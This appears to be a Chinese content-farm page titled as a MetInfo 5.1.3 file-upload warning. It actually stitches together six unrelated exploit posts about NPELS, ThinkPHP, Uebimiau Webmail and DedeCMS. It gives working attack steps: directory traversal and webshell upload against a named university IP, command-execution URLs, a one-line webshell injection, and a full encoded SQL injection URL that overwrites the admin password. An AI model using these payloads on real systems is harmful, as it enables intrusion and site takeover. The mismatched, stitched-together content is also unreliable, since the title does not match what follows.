MetInfov5.1.3 任意文件上传漏洞漏洞预警(精选6篇)
MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇1
以某大学的为例:
www.myhack58.com /NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
222.30.60.3/NPELS/CommonService.asmx
及版本号
直接访问
222.30.60.3/NPELS/CommonService.asmx
使用GetTestClientFileList操作,直接 HTTP GET 列目录:
www.myhack58.com /NPELS/CommonService.asmx/GetTestClientFileList?version=1, 0, 0, 2187
进一步列目录(返回的网页很大,可以直接 wget 下来)
xxx/NPELS/CommonService.asmx/GetTestClientFileList?version=../../
发现
http:/xxx/npelsv/editor/editor.htm可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可
OOXX
修复方案:
好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇2
最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。
可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了。随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码。特此发帖预警各位。
我们来分析一下官方的补丁:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇3
地址后面加 /uebimiau/admin/editor.php?load=config 被人拿了 加 /uebimiau/index.php?cmd=id
全部是外国的 ,,,高手可以玩玩,。。。。。。
漏洞公布时间 2009 6 。12
==========================================================
Uebimiau Webmail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities
Dork : Uebimiau Webmail v3.2.0-1.8
POC :
/uebimiau/admin/editor.php?load=config
And You Can Write Any Code As
Go
/uebimiau/index.php?cmd=id
See Pic :www.almlf.com/get-6-2009-almlf_com_akszizl2.png
MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇4
注:不好意思了,作者早上才发的版本,晚上就叫偶给报了个0DAY,通知了下作者,刚去官方看了一下,已发布了安全补丁,很快啊..大家可以去网上下没更新版本进行测试...
唉,群里一个朋友发了一个CMS,说用户资料修改部分可能存在注入,说一起分析,本地安装好后发现,没法利用,在magic_quotes_gpc=off的情况下,单引号被转义了,。。
看到include/common.inc.php中的这行,放弃。。
1
2
3
4
5
6
7
8
9
......
if(!get_magic_quotes_gpc)
{
$_POST=deep_addslashes($_POST);
$_GET=deep_addslashes($_GET);
$_COOKIES=deep_addslashes($_COOKIES);
$_REQUEST=deep_addslashes($_REQUEST);
}
织梦网任意代码执行漏洞 篇5
用dedecms 朋友还是小心点吧,
漏洞页面是includeinc_bookfunctions.php
触发页面是 member/story_add_content_action.php
接着就是打开下面的地址:
www.guo3.com/member/story_add_content_action.php?chapterid=1&arcID=1&body=?>后面加上一句话代码,
当你看到成功的提示就表示成功了。
MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇6
漏洞描述:起因是全局变量$GLOBALS可以被任意修改,以下举一例,代码如下:
代码如下:
// include/dedesql.class.php
if(isset($GLOBALS[‘arrs1‘]))
{
$v1 = $v2 = ‘‘;
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
$v2 .= chr($arrs2[$i]); //解码ascii
}
$GLOBALS[$v1] .= $v2; www.jb51.net//注意这里不是覆盖,是+
}
function SetQuery($sql)
{
$prefix=”dede_“;
$sql = str_replace($prefix,$GLOBALS[‘cfg_dbprefix‘],$sql);
$this->queryString = $sql;
}
下面说下绕过80sec防注入的方法.
同一文件中,有两个执行SQL的函数,ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件,代码如下:
代码如下:
// plus/download.php
else if($open==1)
{
$id = isset($id) && is_numeric($id) ? $id : 0;
$link = base64_decode(urldecode($link));
$hash = md5($link);
//这里的#@_是可以控制的
$rs = $dsql->ExecuteNoneQuery2(”UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash=‘$hash‘ “);
if($rs <= 0) { $query = ” INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES(‘$hash‘,‘$id‘,1); “; $dsql->ExecNoneQuery($query);
}
header(”location:$link“);
exit;
}
构造SQL语句(提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc),代码如下:
代码如下:
admin` SET `userid`=‘spider‘, `pwd`=‘f297a57a5a743894a0e4‘ where id=1 #
完整SQL语句,代码如下:
代码如下:
UPDATE `dede_admin` SET `userid`=‘spider‘, `pwd`=‘f297a57a5a743894a0e4‘ where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash=‘$hash‘
测试方法,代码如下:
代码如下:
// 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
如果不出问题,后台登录用户spider密码admin
安全建议:将应用到ExecuteNoneQuery2函数的文件均改为使用ExecuteNoneQuery函数并且根据情况,调试程序尽可能不要爆出绝对路径地址.
【MetInfov5.1.3 任意文件上传漏洞漏洞预警】推荐阅读:
强制删除任意文件以及文件夹06-03
任意曲线10-01
任意信号发生器06-04
任意性规范07-28
《任意角》教学设计09-28
任意角的教学设计07-22
复合材料大变形任意加筋壳单元09-26
第十五篇任意斜交角度坐标反算通用程序07-07
任意截面弹体的翼身干扰系数估算方法研究10-17